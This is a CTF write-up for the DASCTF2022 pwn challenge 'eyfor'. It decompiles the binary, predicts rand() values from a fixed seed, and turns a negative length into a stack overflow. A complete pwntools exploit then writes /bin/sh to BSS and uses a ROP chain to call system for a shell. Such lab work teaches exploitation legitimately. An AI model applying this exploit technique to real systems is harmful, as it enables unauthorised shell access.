DASCTF2022七月赋能赛 eyfor

Uncategorized
2.1k words

checksec

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

File

pwn4: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=1133aeb41afd0e7b11659d5a27e062c4b34b1474, not stripped

Analyse

  • run thr program

  • function-main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+8h] [rbp-38h] BYREF
  char buf[36]; // [rsp+10h] [rbp-30h] BYREF
  unsigned int seed; // [rsp+34h] [rbp-Ch]
  int i; // [rsp+38h] [rbp-8h]
  int v8; // [rsp+3Ch] [rbp-4h]

  init(argc, argv, envp);
  puts("go");
  seed = 10;
  read(0, buf, 0x30uLL);
  srand(seed);
  v8 = 0;
  for ( i = 0; i <= 3; ++i )
  {
    puts("message:");
    __isoc99_scanf("%ld", buf);
    if ( (char *)rand() != buf )
      ++v8;
  }
  if ( v8 == 4 )
    __isoc99_scanf("%ld", &v4);
  return vul((unsigned int)v4);
}

function-vul

int __fastcall vul(int a1)
{
  int result; // eax
  char nbytes[52]; // [rsp+Ch] [rbp-34h] BYREF

  result = system("date");
  if ( a1 <= 47 )
  {
    read(0, &nbytes[4], (unsigned int)a1);
    return (unsigned int)strncpy(buf, &nbytes[4], 0x200uLL);
  }
  return result;
}

seed为10,rand()生成随机数,for循环接收4次用户输入,赋给buf;这里需要让buf等于每次生成的随机数,我们使用ctypes来实现,这样变量v8每次循环就会++,当v8为4时,我们可以输入v4来作为vul函数的参数。vul函数有个栈溢出的漏洞,先读取v4的内容到&nbytes[4]上,再用strncpy将&nbytes[4]的内容复制0x200到buf,在BSS段上。我们可以将/bin/sh写到BSS段上后,用system来进行调用,从而getshell

完整exp

from pwn import *
# import random 这里用ctype
import ctypes
context(os = 'linux' , arch = "amd64" , log_level = "debug")
local = int(input("0 for remote , 1 for local:\t"))
elf_path = "/mnt/c/Users/M1sceden4/Desktop/eyfor/tempdir/PWN附件/附件/附件/pwn4"
libc_func = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF(elf_path)
host = "node4.buuoj.cn"
port = 29009
if local == 0:
    io = remote(host , port)
elif local == 1:
    io = process(elf_path)
pop_rdi = 0x0000000000400983
ret = 0x000000000040063e    
system_plt = elf.plt['system']
io.sendlineafter("go\n" , b"m1nus")
# random.seed(10)
# rand = random.random()

libc_func.srand(10)
for i in range(4):
    io.sendlineafter("message:\n", str(libc_func.rand()).encode())


payload = b'/bin/sh\x00' + b'a' * 0x30 + p64(ret) + p64(pop_rdi) + p64(0x6010C0) + p64(system_plt)
io.sendline(b'-1')
io.sendline(payload)
# gdb.attach(io)


io.interactive()